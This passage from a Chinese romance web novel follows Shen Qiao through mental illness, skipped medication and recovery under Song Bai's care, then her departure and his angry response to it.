此刻的沈荞,只觉得自己像具被抽走灵魂的木偶。明明有情绪,会愤怒,会委屈,能清晰感受到疼痛,可所有感受都隔了一层厚雾,既说不出口,也做不出有力的回应。灵魂像被牢牢困在不受控的躯体里,只能眼睁睁看着自己坠入无力的深渊,什么都做不了。 心底的她,其实想狠狠打翻眼前的药,想嘶吼着宣泄,可四肢像灌了铅,最终也只化作一个微弱的摇头。无力感与疼痛感交织着漫上来,几乎将她淹没,眼眶渐渐泛红,泪珠在睫尖打转,她却抿着唇,倔强地不肯让眼泪落下。 宋柏看着她这副模样,心头像被一只无形的手狠狠攥住,又酸又疼。他在床边坐下,将水杯和药片轻搁在床头柜,伸手抚去她额角汗湿的碎发,沉声道:“是止疼药,吃了就不疼了。” 沈荞看着他,眼眶更红,泪珠终于忍不住滚落,却还是固执摇头,嘴唇翕动着,最终只溢出一声呜咽。 宋柏喉结滚了滚,俯身将她轻轻抱进怀里,什么都没说,只是安静抱着。过了许久,窝在他怀里的沈荞才渐渐平复,也吃下了止疼药。可没过多久,她便猛地侧过身,对着床沿剧烈呕吐起来,吐完后,手还在抖,连带着单薄的肩膀也止不住地颤,脸色更是白得毫无血色。 宋柏的脸色沉得能滴出水来,黑眸里翻涌着隐忍的怒火,替她擦干净嘴角后,没有半分犹豫,他再次拨通了医生的电话。 “宋总,我现在上门看看?” 医生的声音里也多了几分凝重。 不出半小时,医生便到了。他没贸然进屋,只站在虚掩的主卧门口,目光掠过床上蜷缩着、全身都在发颤的沈荞,神色渐渐严肃。 “宋总,沈小姐这是躯体化发作了。” “躯体化?” 宋柏眉峰紧锁,带着不解。 医生缓缓点头,声音低沉了几分:“双相、抑郁这类精神疾病,伤害的从来不只是患者的大脑,还会引发一系列躯体上的反应。” 宋柏不想听这些,只问: “那现在该怎么办?” 医生从随行的药箱里拿出一支玻璃管口服液:“这是口服镇静舒缓液,没什么味道,舌下含服,能减轻躯体化反应。我再调整下口服药剂量,减少对沈小姐的躯体刺激。” 宋柏接过来,放轻脚步走到床边。沈荞依旧蜷缩着,额头抵在枕头上,肩膀一抖一抖的,唇瓣咬得泛白,细碎的呜咽声闷在喉咙里,听得人心头发紧。他半蹲在床边,没急着喂药,只将手轻轻贴在她的后背上,一下一下顺着她紧绷的脊背。 “喝点水,含着就好,喝了就不难受了。” 宋柏没说那是药。 沈荞听到他的声音,缓缓抬起头,眼底蒙着厚厚的水雾,连一个微微点头的动作,都显得格外无力。宋柏心头一软,绷着的脸稍缓,小心捏着她的下巴轻轻抬了抬,让她唇角微张,将口服液的管口抵在她舌下,慢慢喂了进去。 喂了小半管,他才收起,拿纸巾轻轻擦了擦她的唇角。随后起身上床,坐在她身后将她揽进怀里,让她靠在自己的胸膛,一只手依旧替她顺气,另一只手牢牢握着她冰凉发颤的手,用掌心的温度裹着她冰凉发颤的手指,用自己平稳的心跳贴着她的后背,让她能清晰感受到他的存在。 “没事了,含着就好,很快就不抖了,没事了。” 他一遍遍轻声安抚。 沈荞靠在他怀里,口服液的药效渐渐上来,原本遍布全身的震颤一点点褪去,手臂和指尖的发麻感也轻了,连带着心口的憋闷都散了些。沈荞的呼越来越平稳,肩膀的颤抖也渐渐停了。 宋柏感觉到怀中人的变化,紧绷的脊背松了些,顺气的动作没停,低头看着她柔软的发顶,温声道:“好了,不难受了。” 一直站在门边默默观察的医生,朝宋柏比了个“我先走,后续电话沟通”的手势,宋柏沉着脸点了点头。 医生轻手轻脚离开后,宋柏依旧保持着揽着她的姿势,握着她的手,轻轻拍着她的背,直到她彻底放松,呼吸渐浅,靠在他的肩膀上沉沉睡去。 窗外的光影流转,房间里两人静静相拥在一起。送走医生回到主卧门边的何婶,看着主卧里的两人,偷偷红了眼。 沈小姐这么乖的人,怎么就得这种病。 好在,有先生陪着她。 她家老何之前还总说先生身居高位,是个性子冷漠的。可这些日子下来,她觉得,再没有比先生更周全、更有耐心的人了。 换她病成这样,她家老何估计都没有这样的耐心,说不定还早就抱怨上了。 悄悄抹掉眼泪,何婶放轻脚步转身离开。 第43章 纵容 沈荞彻底睡下后, 宋柏去卫生间时,在马桶边的缝隙里捡到了一枚药片。捏着那枚药片回到卧室,他拿 起放在床头的平板,调出了监控录像。 画面里看得一清二楚, 昨天一整天的药, 沈荞压根没吃。每次何婶转身收拾餐桌或倒水的间隙, 她都会把药片藏进睡衣口袋里, 然后悄无声息回房。房间里没装监控, 但不用多想也知道,那些被藏起来的药, 最终都被她尽数倒进了马桶。 医生从一开始就反复叮嘱,她的药绝不能擅自中断, 否则病情只会恶化。 宋柏低头看着掌心的药片,又抬眼看向床上的人, 突然明白,什么是“自找麻烦”。 而面对麻烦的沈荞,宋柏决定带沈荞搬第三次家, 搬去东湖湾。 东湖湾房子院子都不如澜院大, 但胜在地理位置好,也是宋柏这些年一直居住的私宅。 而宋柏没有回国第一时间就带沈荞住进东湖湾的原因, 也很简单。 东湖湾,顾名思义, 有湖。 她能跳海,就能跳湖。 而现在, 宋柏也没有多少选择。 原本住在澜院,她能在院子里吹吹晚风、看看花草、逗逗那几只芦花鸡,状态确实比困在大平层里鲜活不少。但她在澜院做出了那样极端的事, 医生不建议她再回去。熟悉的环境只会唤醒糟糕的记忆,进一步刺激她的神经。 他也不是没想过送她去清幽的地方静养,可又不得不考虑,万一她再出现突发状况,就医的问题。 这些年,宋柏在商场上杀伐果断,经手的大项目不计其数,却从未像在沈荞身上这样,瞻前顾后、步步斟酌。 搬进东湖湾时,院子四周的围墙已经加高加固好了。从一楼望去,完全看不到不远处的湖景,宋柏把沉睡的沈荞放在了一楼的卧室里。院子里,她在澜院喜欢逗弄的那几只芦花鸡也被一并迁了过来,此刻正悠哉地踱着步。 昏睡了近一天一夜的沈荞,在清晨的阳光里睁开了眼睛时,第一眼看到的就是在落地窗外踱步的芦花鸡。 私自断药一天,又昏睡了整整一天一夜,相当于两天没服药的沈荞,眼神里没有了往日苏醒时的呆滞茫然,反倒多了几分难得的清亮。 睁着清亮的眼,她静静看了许久,才慢慢翻身下床,赤着脚走到落地窗旁,盘腿坐在柔软的地毯上,抬手轻轻敲了敲玻璃。窗外的芦花鸡听到声响,纷纷抬着小脑袋循声看来,乌黑的眼珠一眨一眨,很是可爱。 很久没有笑过的沈荞,嘴角缓缓勾起一抹浅淡的笑意,眼底也染上了一丝久违的暖意,而这一幕,恰好被前来查看她的宋柏撞见。 他没出声,也没上前,只是悄无声息倚在门框上,默默看了她片刻,随即转身离开,把这片难得的宁静留给了她。 在阳光下坐了许久,沈荞清晰感受到了饥饿。 这也是她这段时间里,少有的、如此真切的生理感知。 她缓缓站起身,朝门口走去。站在门边,她扫视着陌生的四周,目光掠过沙发上正处理工作的宋柏,又落在餐桌前忙碌的何婶身上,哑着嗓子,开了口:“我饿了。” 餐桌摆在采光极好的落地窗边,清晨的阳光洒下,暖意融融。沈荞坐下后,不仅喝完了一碗瘦肉粥,还吃下了半笼小笼包。对于常人而言,这或许只是寻常的早餐分量,但对这段时间胃口低迷的沈荞来说,已是难得的“好胃口”。她刚想伸手去夹剩下的小笼包,手中筷子被宋柏抽走。 她抬眸,宋柏很淡然道:“昨天一天没吃,吃这么多,该积食了。消化一会,让何婶再给你加餐。” 沈荞抿了抿唇,没反驳。宋柏顺势让何婶把碗筷撤了,随即拿起那个熟悉的药盒,轻轻推到她面前。 看到药盒的瞬间,沈荞的脸色骤然沉了下来,眼底闪过一丝明显的抗拒。宋柏仿佛没捕捉到她的情绪,只是平静地开口:“我知道你吃了药会难受,但要是断了药,你这辈子可能都没法正常出门,没法见索尼娅,也没法再去马场骑马、去打猎,去做所有你喜欢的事了。” 原本紧抿着唇的沈荞,听到宋柏的前半段话脸上还露出不耐,可听到后半段,整个人就半僵住了。 宋柏捕捉到她的神色变化,声音放得更柔,带着几分循循善诱:“医生说了,只要好好服药,很快就能好了。” 沈荞抬起头看他,宋柏迎向她的目光 “相信我,嗯?” 他说相信他,而不是“听话”。 沈荞看着眼前轮廓分明的脸,恍恍惚惚间仿佛看到另一张脸,一张这段时间从她记忆中彻底消失的脸。那张脸刚一清晰,剧烈的头疼便骤然向沈荞袭来。 原本还算平和的沈荞,眉头紧蹙。 而本还淡定的宋柏,看她蹙眉露出痛楚神色的第一瞬间,就不再淡定。 他起身,刚推开身后的凳子,蹙眉忍痛的沈荞就毫不犹豫拿起面前的药盒,打开,将药倒出,随即一口气塞进嘴里就着水咽下。 看她咽了药,宋柏也顿住动作,没靠近她,也没说话,而是等她慢慢缓了脸色。 * 新的剂量新的药,让刚找回几分清晰感知的沈荞再度陷入钝感,思维变缓。但好在嗜睡的情况稍微缓解了些,至少白天清醒的时长明显增多了。 天气渐渐燥热起来,除了清晨与傍晚的微凉时段,白天院子里已经不适合呆人。宋柏清空了一楼的书房,改成了宽敞的手工房,方便何婶陪着她做点手工。而他,开始居家办公,至于办公地点,主动让出书房的他,选择了一楼的餐桌。 坐在餐桌旁,抬眼便能透过敞开的书房门看到她。她会因为做不好手工,生气。也会在成功做好后,嘴角悄悄扬起,眼底浮起笑意。 这般平静的日子过了半月。在宋柏的监督下,沈荞一日三餐、一次药都未曾落下,情绪也愈发稳定。 她依旧寡言少语,鲜少主动搭理人,有时窝在床上即便醒着也不愿起身,静静躺着发呆可以躺一天;有时又会突然变得格外专注,能一动不动对着游戏沉浸一下午。宋柏从不多加干涉,只随她高兴。 直到这天,宋柏正在窗边接工作电话,眼角余光突然瞥见沈荞绷着一张脸,从院子里快步走进来。她没看任何人,径直冲回房间,“砰”的一声甩上房门,力道之大,震得墙面都颤了颤。 宋柏眉峰微拧,刚想结束通话,就见他那位好大哥出现在门外,脸色也不是很好。 宋柏对着电话那头简短交代两句,挂断后迈步走近:“你怎么来了?” 宋莫没接他的话,目光落在那扇紧闭的房门上,眉头皱得更紧。他张了张嘴,像是想说什么,最终却只是转向宋柏道:“我得回去了,你有空多回老宅看看。” 把孩子交给宋莫后,宋柏虽没再管过,但也知道,宋莫带着孩子独处了一夜,就带回了老宅。而老太太盼孙子孙女盼了这么多年,本该满心欢喜,可也只陪了孩子一周,就执意坐上了飞往洛杉矶的飞机。 宋柏神情冷淡:“打算什么时候调回来。” 宋莫从军这么多年,按照宋家的人脉和他自身的能力,他本早早可以调回京城,往更高的位置走,可他始终坚持呆在第一线,即便离婚,都没有改过主意。 宋莫沉着脸不语,宋柏倒也不急,从桌上抽出一份早已备好的资料推到他面前。宋莫不解接过,指尖翻开纸张的瞬间,神色骤然一凛,周身气压一沉,原本深沉的脸更覆上一层寒霜。 “大嫂肚子里的孩子,是你的。”宋柏声音平静:“当年你和她做的试管胚胎,魏家人以大嫂的名义提了出来,趁她回国做手术的间隙,动了手脚。” “魏家?” 宋莫眼底瞬间燃起熊熊怒火,连呼吸也变得粗重。 “魏家的事,我来处理。”宋柏语气淡然,“但我不会替你养孩子。爸妈年纪大了,盼了这么多年才盼来孙辈,要是不想孩子被惯成无法无天的二世祖,就早点调回来。” 宋莫紧紧攥着资料,没再多说一个字,转身大 步流星离开。 看着高大背影消失在门边,宋柏慢悠悠转身,拧开紧闭的卧室门,他一眼就看到宽大的床上只露出一个乌黑发顶的隆起。 宋柏缓步走近,掀开被子,就对上一双冰冷的眼眸。 “我不喜欢他!” 宋柏满不在意笑笑:“巧了,我也不喜欢他。” * 宋柏居家办公一个月时,京城正式入夏,一场瓢泼暴雨也随之而至。宋柏看着窗外淅淅沥沥、越下越急的雨,再低头看向围着自己脚边踱来踱去、时不时用尖嘴啄他裤脚的几只芦花鸡,额间的青筋突突直跳。 他强压着内心的躁郁,何婶端着一杯温热的咖啡放到他面前,劝解道:“先生,您就忍忍吧。沈小姐冒着雨都要把鸡抱进屋里来,这鸡要是有点什么好歹,沈小姐肯定要生气的。” 宋柏抬头,朝坐在沙发上的人看去。 经过一个月的规律服药,她已经渐渐适应了药效,眼神比之前清明了许多,精神也好了不少。这几天她又迷上了一款游戏,简直废寝忘食,宋柏强制抱她回房休息,她就当场甩脸子,甚至夜里睡觉也不再贴着他,而是背对着他缩在床的另一边,兀自生气。 宋柏有时候觉得她和小孩子没区别,可转念一想,她确实还小。 宋柏纵她忍她,可实在受不了她把鸡抱进屋里来。 当初他穿着衬衫上床都嫌他脏,抱着被雨淋湿、粘着泥的鸡,她反倒不嫌脏了。 再次低头看向脚边探头探脑的鸡,宋柏遏制住了把鸡一脚踢飞的冲动,咬咬牙对何婶道:“带她去洗澡。” 连日的阴雨天气里,强忍着和鸡共处一室的宋柏,在雨停后的第一天,久违去了一趟公司。等他傍晚回来时,一楼客厅里没再看到随意踱步的鸡,她也不再沉迷游戏,而是和何婶凑在一起,脑袋挨着脑袋盯着手机屏幕,神情格外专注。 宋柏走过去瞥了一眼,何婶在刷购物软件,她则在一旁看得津津有味。 宋柏没太在意,转身去处理未完成的工作。直到几天后,许莫言带着两名保镖,搬了一堆大大小小的快递箱子,直接堆满了门厅。 看着那些堆积如山的箱子,宋柏眉头紧锁。许莫言连忙解释:“老板,这些都是沈小姐买的快递。” 宋柏微微侧头,就看她拉着何婶,兴致勃勃地从客厅跑出来,两人还各自搬了一条小板凳,在箱子堆旁坐下,迫不及待开始拆快递。 毛绒玩具、挂件、杯子、还有各种奇奇怪怪的小摆件……拆开的东西乱七八糟摆了一地,看得人眼花缭乱。 很快,这些“战利品”被沈荞一一安置在房子的各个角落:客厅的沙发摆了一排玩偶,阳台的栏杆上挂了风铃,就连宋柏用作办公区的餐桌上,也被她摆了一个印着卡通图案的陶瓷花瓶。 宋柏盯着桌上那只与周围精致陈设格格不入的花瓶,额间的青筋又开始跳动。这次,他没再沉默,而是说:“沈荞,你能不能买点像样的东西?” 沈荞头也没抬,继续摆弄着手里的小物件,倒是何婶脸上露出了尴尬的神色。 宋柏也反应过来,她用的何婶的手机,何婶手机里能有多少钱给她花。 宋柏没再多说,转身拿了个新手机,注册好购物软件,绑了他的卡,递给沈荞。 宋柏习惯用价值来衡量一件东西的好坏,可沈荞购物全凭喜好。从没用过购物软件的她,像是打开了新世界的大门。游戏不玩了,鸡也顾不上了,每天的乐趣就是刷软件下单,而本该负责安全的保镖,硬生生变成了快递搬运工。 成堆的快递箱子源源不断搬进屋里,拆完后的纸箱又成捆被搬出去。 不过半个月时间,原本摆满了意大利设计师精心设计的家具、处处透着简约奢华的房子,就被沈荞塞满了各式各样便宜又可爱的小物件。 原本清冷空旷的房子,瞬间变得有了生活气息。说实话,那些小东西并不丑,沈荞即便生病,审美也是好的,可耐不住她买得勤、摆得密,几乎快要把房子填满了。 宋柏还没说什么,倒是带沈荞入门购物软件的何婶先开始不安起来。她趁着给宋柏送茶的间隙,小声问道:“先生,沈小姐这样,真的没事吗?” 宋柏很淡然:“你每天趁她不注意,收一部分起来,给她留点新的位置摆。” 大半个月下来,宋柏也看明白了,她其实就是享受买,拆快递,还有把东西摆出来的过程。摆出来后,她其实就不在意了。 再者,她这样,除了让他的手机每天疯狂收到原本绝不会出现的小额消费短信,也没造成其他麻烦。总比她之前头疼、默默哭泣、浑身发抖的样子要好。 宋柏不在意,何婶也放开了手脚,每天趁着沈荞睡着后,悄悄把客厅里一些摆不下的小物件收进储物间。收了几天,见沈荞果然没发现,也渐渐坦然了。 时间转眼到了七月底。这天清晨,宋柏从沈荞买的碎花四件套里睁眼醒来,下意识伸手去抱身边的人,却摸了个空。他抬眼环顾四周,房间里空荡荡的,并没有沈荞的身影。 宋柏穿着睡衣起身,拧开房门走出卧室。刚到门口,就看到她抱着双膝,坐在院子的露台上,仰头望着天边刚升起的太阳,不知道在发什么呆。 盛夏的风带着燥热,宋柏走过去,很自然开口:“不热吗?” 坐着的人转头,抬眸看他,眼底清澈。 不是半带茫然的清明,而是彻彻底底的清澈。 看着那双眼,宋柏一怔。 而眨着清澈双眼的沈荞,轻声开口:“几月了?” 宋柏回神:“马上八月了。” 沈荞颤了颤眼帘,轻轻“哦”了一声,转回头继续望着天空。宋柏站在她身边,看着她乌黑的发顶,眉头微微拧起。就在这时,端着早餐走到餐桌旁的何婶,扬声叫了一声:“先生,沈小姐,吃早饭了。” 宋柏刚想伸手扶沈荞起来,她已经自己站起身,转身往屋里走,走到餐桌旁坐下时,还对着何婶礼貌地说了句:“谢谢。” 搬到东湖湾后,沈荞精神好的时候越来越多,比起宋柏,她确实和何婶说的话更多。所以何婶对她的道谢并不意外,笑着给她盛了一碗小米粥,便转身去厨房忙活了。 而宋柏坐在她对面,目光一直落在她脸上,看了许久。 这一整天,沈荞都很安静,没有像往常那样翻着购物软件,也没有窝在沙发上发呆,而是自己找了本书坐在窗边看。而在客厅办公的宋柏,目光也总往她那边飘。 晚饭过后,沈荞像往常一样按时服了药。就在何婶收拾水杯和药盒时,沉默了一天的沈荞突然开口,语气平静:“何婶,能把那个小房间收拾一下吗?” 自从沈荞被宋柏接回来后,何婶就没听过她用这么平静语调和神情说这么长一段话。她先是愣了愣,随即面露惊喜,连忙问道:“沈小姐,您……您这是好了?” 沈荞不清楚“好了”的定义是什么。 她只觉得笼罩在脑子里许久的那层迷雾,好像一夜之间散开了,禁锢着她躯体的沉重枷锁也消失了。过去那段日子,浑浑噩噩,犹如一场又长又压抑的梦,她记得大部分事情,却像个置身事外的观众,没有感知,只觉得茫然。 沈荞没有回应何婶的问题,只是安静地坐着。何婶激动了好一会儿才反应过来,下意识看向坐在另一侧沙发上的宋柏。 宋柏眼底幽光流转,看着她沉默了许久,最后,对何婶缓缓点了点头。 何婶松了口气,连忙转身去收拾房间。 清晰感受到他视线的沈荞此时也抬起头,迎上他的视线,语气淡然又疏离:“谢谢。” 几个月的耐心陪伴、呵护,最终只换来了一句客气的“谢谢”。 宋柏扯了扯嘴角,发出一声极轻的冷笑,没说什么。坐在他对面的沈荞站起身,没再看他,径直往她说的小房间走去。独留宋柏坐在摆满了小摆件的客 厅里,眼神一点点变得阴沉。 宋柏在客厅坐了很久,直到深夜,何婶才小心翼翼地走过来,低声道:“先生,沈小姐……沈小姐已经在客卧睡下了。” 昨晚还得紧紧贴着他才能安睡的人,转眼不仅要分房睡,还能心安理得地睡得安稳。 宋柏又是一声冷笑,站起身,径直往二楼主卧走去。自从搬到东湖湾,他因为沈荞,一直睡在一楼,主卧已经很久没住过了。房间里的陈设依旧保持着原来的样子,昂贵的家具、精致的装饰,处处透着冰冷的奢华。 此刻,这些本该起到装饰作用的陈设摆件,在宋柏眼里却显得格外碍眼。 啪—— 端着温水的何婶,刚迈上楼梯就听到了楼上传来的碎裂声。她脚步一顿,果断转身回了自己房间。 这一夜,何婶睡得并不安稳,主卧里的宋柏更是为未曾入眠。而睡在客卧的沈荞,却一夜安眠,第二天清晨醒来时,面色红润,眼底也透着久违的光。 再坐到餐桌上,她没有多看神色有些萎靡的宋柏一眼,而是直接道。 “我要去卡塔赫纳。” 坐在对面的宋柏,端着咖啡的手一顿,抬眼看向她,神色逐渐冰冷。 而沈荞,眼神清澈而执着。 “我生日快到了,傅英答应过的,会陪我过生日的。” 第44章 负担 “好, 我陪你去。” 宋柏看了沈荞良久,强压下脸上的冷意,才沉声道。可这话刚落,对面的沈荞就轻轻摇了摇头。 宋柏拧眉, 正要开口, 许莫言匆匆推门进来, 俯身到他耳边低声道:“老板, 门口来了人, 说接沈小姐。” 宋柏刚缓和的神色骤然冷沉,犀利的目光扫向对面泰然喝粥的沈荞, 眼神里满是寒意。 “让他们滚。” 冷冷四个字,几乎是从唇齿间挤出来的。 许莫言看着老板紧绷的下颚线, 心知他动了怒,又瞥了眼神色淡然的沈荞, 咬咬牙补道:“来的XC安保的人,带队的是我和李程以前的副队,和莫队关系很好。” 宋柏眸色更沉, 视线落在沈荞手边那部他专门给她购物用的手机上, 冷笑一声:“你找的?” 沈荞摇摇头,实话实说:“我只联系了办公室的人。” 一句话, 宋柏便懂了。 他让人彻查那所谓的新加坡办公室时,对方也在查他。只是, 凭一个宋莫的老战友,就想让他有顾虑? 没等宋柏开口, 沈荞又道:“是我让他们派人来接我的。” 宋柏周身的气压瞬间低到极致,沈荞却依旧从容,淡淡开口:“可以把我的东西还我吗?我伦敦公寓里的那些, 他们说都被你们带走了。那都是傅英给我买的。” 傅英,又是傅英! 她昏昏沉沉这几个月,绝口不提这个名字,医生说她是应激创伤,潜意识里下意识回避。他本以为,他再也不会从她口中听到这个名字。结果此时此刻,她却一口一个傅英,那执拗的眼神和语气,和在哥伦比亚吵着要找傅英时一模一样。 这几个月,她再怎么闹,宋柏都压着性子纵容,生怕刺激到她。可眼下,她才清醒一点,不仅背着他联系外人来接她走,还句句不离傅英,他再多的耐心,也被磨得一干二净。 啪的一声,筷子重重砸在桌上,宋柏凝眸盯着沈荞,语气冷得刺骨:“沈荞,你把我当什么?” 他周身的戾气翻涌,沈荞却丝毫不惧,抬眼直直迎上他的目光,目光平静,重复道:“我的东西。” 过去的日子虽像一场虚无的梦,可她记得他的亲近,他的纵容,那一个个瞬间的他,太像傅英了,像到她都完全沉溺了。 宋柏坐着没动,也没说话,只用那双阴鸷的眼眸,沉沉盯着她。 立在一旁的许莫言连大气都不敢喘,拼命降低自己的存在感。 而宋柏,就那样沉沉看了她许久,忽然勾唇,扯出一抹凉薄的笑:“想走?好。把东西都给她。” 话音落,他径直起身,迈步走出大门,厚重的大门被狠狠带上,发出沉闷的声响。 沈荞捏着筷子的手紧了紧,视线凝在大门方向,许久才收回,转头看向留在原地的许莫言:“我的东西,麻烦了。” 看着眼前神色、语调都恢复正常的沈荞,许莫言有些恍惚,转瞬便冷下脸。 这几个月,老板为了她费心费力,遭了多少罪,做了多少妥协,他都看在眼里,结果人好了,转头就抛下老板,简直就是没良心。 心里腹诽,许莫言转身带人去二楼,搬下一个个打包完好的箱子。 “沈小姐,这些都是您的东西,您清点下,看有没有少的。” 许莫言的声音冷冰冰的,看向沈荞的眼神里,也带着明显的不满。 闻声赶来的何婶看着满地箱子,彻底懵了,还没开口,就见一群陌生保镖从大门走进来,更是慌了神:“这到底是怎么回事啊?” 何婶话音未落,领头的保镖已走到沈荞身侧,恭敬道:“沈小姐,我叫陆阳,接下来由我负责您的安全。” 说完,陆阳转头冲许莫言点头示意,许莫言脸色难看至极,却也不得不扯出一抹客套的笑。 沈荞没看地上的箱子,只对陆阳道:“搬出去吧。” 陆阳示意手下动手,自己则立在沈荞身侧。沈荞走到何婶身边,轻轻抱了抱她:“这段时间,谢谢你,何婶。” 何婶彻底慌了,在她要松开时,一把攥住她的手:“沈小姐,这到底是怎么了?” 比起何婶的激动,沈荞异常冷静:“我要搬出去了。” “搬去哪啊?” 沈荞不语,何婶又看向许莫言,许莫言也紧抿着唇,一言不发。何婶急得眼眶发红:“搬家我得跟着啊,不然谁照顾你起居,谁提醒你吃药啊!” 这话落,许莫言眉眼一动,突然开口:“阳哥!” 护在沈荞身侧的陆阳抬眸看来。 “沈小姐的药记得拿。” 七月底的天,酷暑难耐。沈荞住进东湖湾这几个月,第一次迈出大门,踏足前院。开阔的院子里停着几辆车,她的视线扫过,最终定格在一辆黑色轿车上。 车窗贴了深色膜,看不清内里,她的目光在车身上停留了几秒,便若无其事地收回。 从空调房出来,炙热的空气瞬间袭来,不过很快,沈荞就钻进了温度适宜的车里。 坐在后座,沈荞第一次看清了她住了几月的房子的全景,正看得出神,扶着车门的陆阳微微俯身:“沈小姐,可以走了吗?” 沈荞收回视线,轻轻颔首。 车门关上,漆黑的车窗隔绝了外界的一切。跟着走到大门口的何婶正急得团团转,兜里的手机突然响了一下,她随手点开,只一眼,便僵在原地。 同一时间,许莫言的手机也响了,他没在意,因为他的注意力全在被何婶攥得生疼的手上。蹙眉看向何婶,见她脸色怪异,许莫言凑近去看她的手机,只一眼,就让他的眉头拧得更紧。 随即,他也掏出自己的手机,屏幕上,一条转账短信静静躺着,数额大到比他一整年的年薪还要高。 他是业内顶级安保,薪资本就很高,这数额,对他都不少。对何婶而言,更是天文数字。 而转账人,是沈荞。 攥着手机的许莫言下意识回头,只见院子里那辆黑色轿车的后门打开,高大身影立在车门边,指尖攥着手机,周身阴沉。 宽阔的院子里,几人表情各异。而早已驶远的车里,沈荞靠在椅背上,看着窗外流转的街景,一滴泪从眼角滑落。 车里的冷气开得很足,温热的泪水刚滑出眼眶,便变得冰凉,顺着脸颊滑落,隐没在脖颈间。她没有擦,也没有管,任由眼泪带着酸涩漫遍全身。 车子驶过寂静的别墅区,开过车水马龙的主干道,最后扎进了繁华的城区。一侧是烟火气十足的老街,一侧是冰冷高耸的钢铁大楼。 车队绕过路口,径直开进了钢铁森林里。 驶入地下车库后,除了沈荞坐的车,其余都停在了电梯口。 副驾的陆阳回头,瞥见后座的沈荞满脸泪痕,眼眶通红,微微一愣,转瞬便恢复了专业的冷静:“沈小姐,到了。” 沈荞恍然回神,轻轻应了一声:“嗯。” 陆阳下车,绕到后座打开车门,引着她往电梯口走。电梯门打开,他只带了一个保镖跟上来,进电 梯后,他先拿出一张卡刷了一下,电梯面板上自动跳出数字26,缓缓上升。 刷完卡,陆阳将电梯卡和一部新手机一并递给沈荞:“沈小姐,您的信息已经在物业登记好了。这栋楼是一梯一户,刷卡上楼,这是电梯卡,我也把门禁信息复制到了手机里,您没带卡的话,用手机就能进出。” 沈荞默默接过,一言不发。 电梯很快抵达26层,陆阳率先走出,环顾四周后撑住电梯门:“沈小姐,到了。” 电梯外是一扇宽阔的入户门,打开门,门后是一间装修温馨面积又极大的大平层。沈荞刚迈进门,手里的新手机便响了,她接起,贴在耳边。 “沈小姐,您的新衣物和生活用品都已经放在主卧了。您确定不需要安排住家家政吗?” 沈荞没有回答,只问:“去卡塔赫纳的飞机,安排好了吗?” “按您的要求,已经安排好了。” 沈荞捏着手机,穿过客厅,走到落地窗前站定,看着窗外马路对面那片熟悉的老旧小区,眸光微动。 “帮我找两个人。” 电话那头的女声依旧平静:“沈小姐,您是要找沈医生吗?傅先生早就安排过了,沈医生和她先生现在在洛杉矶,需要我安排飞机送您过去吗?” 沈荞握着手机,看着马路对面的老旧小区,久久不语,许久,她才轻声道:“不用了。” 和她亲近的人,都会遭遇不幸。 现在的她,更是一个彻头彻尾的负担,不管是对姐姐,还是对宋柏。 * 深夜,澜庭。 前面是京城圈里公认纸醉金迷的销金窟,后面却藏着片截然不同的天地。 悠扬的古筝声裹着晚风飘来,一个高大男人踩着夜色从月亮拱门而入。男人身着剪裁合体的西装,袖口随意挽到小臂,穿过栽满细竹的庭院,踏进古香古色的楼阁。里面散坐着七八个人,都是京圈里有头有脸的人物,原本正端着威士忌闲谈,见他进门,纷纷放下酒杯起身。 “朗哥,可算等着你了!”有人笑着招呼,“怎么才到?” 钱朗唇角勾起一抹散漫的笑,抬手松了松领带:“刚从机场赶过来,堵了会儿车。” 他应付着众人的寒暄,顺手端起侍者递来的酒杯,仰头饮尽,算是赔了迟到的罚酒。目光扫过满堂人,没多停留,径直往二楼走去。 上了二楼露台,他一眼就望见那道倚在雕花栏杆上的身影。 宋柏穿着纯黑衬衫,领口松开两颗扣子,手上端着快见底的酒杯。周身散着生人勿近的冷意。钱朗缓步走近,声音里带着几分调侃:“约了你大半年都见不着人影,今天怎么突然想开,叫我来这儿?” 宋柏缓缓转眸,一双眼在黑夜里冰凉,没带半分温度。钱朗对上这眼神,心头莫名一滞,到了嘴边的玩笑话也咽了回去。 “心情不好?”他试探着问。 宋柏冷着脸收回视线,薄唇紧抿,没应声,目光直直落在庭院中央弹古筝的女人身上。钱朗顺着他的目光看去,那姑娘穿着修身的旗袍,眉眼清秀,弹奏的技法虽不错,但在行家耳中也只是“还行”的水准,实在不懂怎么就勾住了宋柏的注意力。 他刚要开口打趣,身侧的宋柏突然抬手,将杯中烈酒一饮而尽,转身就往露台旁的雅间走去。钱朗啧了一声,慢悠悠跟了上去。 刚跨进雅间,就见宋柏已经拿起酒,给自己倒了满满一杯,琥珀色的酒液在水晶杯里摇晃。钱朗看在眼里,眼皮跳了跳:“你今天到底抽什么风?叫我出来一句话不说,还这么猛喝?” 宋柏掀了掀眼帘,眼神凉薄,冷冷扫了他一眼:“喝酒,别废话。” 得,这是真心情不好! 钱朗不再多问,端起酒杯陪他喝。酒过三巡,几杯烈酒下肚,钱朗已经有些顶不住,可宋柏依旧面不改色,一杯接一杯地灌。钱朗张了张嘴,刚想劝两句,楼下院外突然传来一阵喧闹声。 钱朗拧起眉,看了眼依旧无动于衷的宋柏,起身走到露台边。院门处,几个黑衣保镖正拦着个年轻男人,那男人衣服凌乱,像疯了一样挣扎:“我找宋柏!你给我出来!宋柏!” 听到这声音,钱朗挑眉同时,也认出了人。 魏家的独子,魏霖。 他刚想转头,就见宋柏已经走到了他身侧,脸颊因为喝酒而泛着淡红,眼神依旧冰冷。 夜风吹起酒气,钱朗靠在栏杆上,慵懒看着下方的闹剧,勾了勾唇角:“你最近两个月可是把魏家折腾得够惨的。虽然你大嫂出国好几年没回来,但魏家怎么也是你大哥的岳家,你这么不留情面,你大哥没意见?” 宋柏盯着院门口死命挣扎的人,拿出手机拨了个号,电话接通的瞬间,他声音冰冷:“让他闭嘴。” 话音刚落,钱朗就亲眼看到保镖猛地捂住年轻男人的嘴,抬手往他肚子上揍了两拳,随后拖着人往暗处走,喧闹声瞬间消失。钱朗脸上的漫不经心敛去,神色变得严肃:“你来真的?” 宋柏没看他,指尖摩挲着杯壁:“魏家刚还了你们银行一笔贷款,是吧?” 钱朗点头,心里噔一下。 宋柏抬眼,目光锐利:“不要再批给他们贷款。” 钱朗一怔,刚要追问,宋柏已经转身往楼下走。钱朗快步跟上,一楼的众人见他们下楼,纷纷起身:“柏哥,朗哥,这就走了?” 宋柏没应声,沉着脸跨步而出,钱朗顿住脚步,笑着冲众人摆手:“你们喝,今晚的单记我账上。”说完,急忙追了出去。 